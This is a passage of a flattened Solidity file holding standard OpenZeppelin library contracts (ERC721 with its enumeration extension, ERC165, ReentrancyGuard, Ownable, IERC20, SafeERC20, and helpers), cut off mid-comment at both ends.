* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
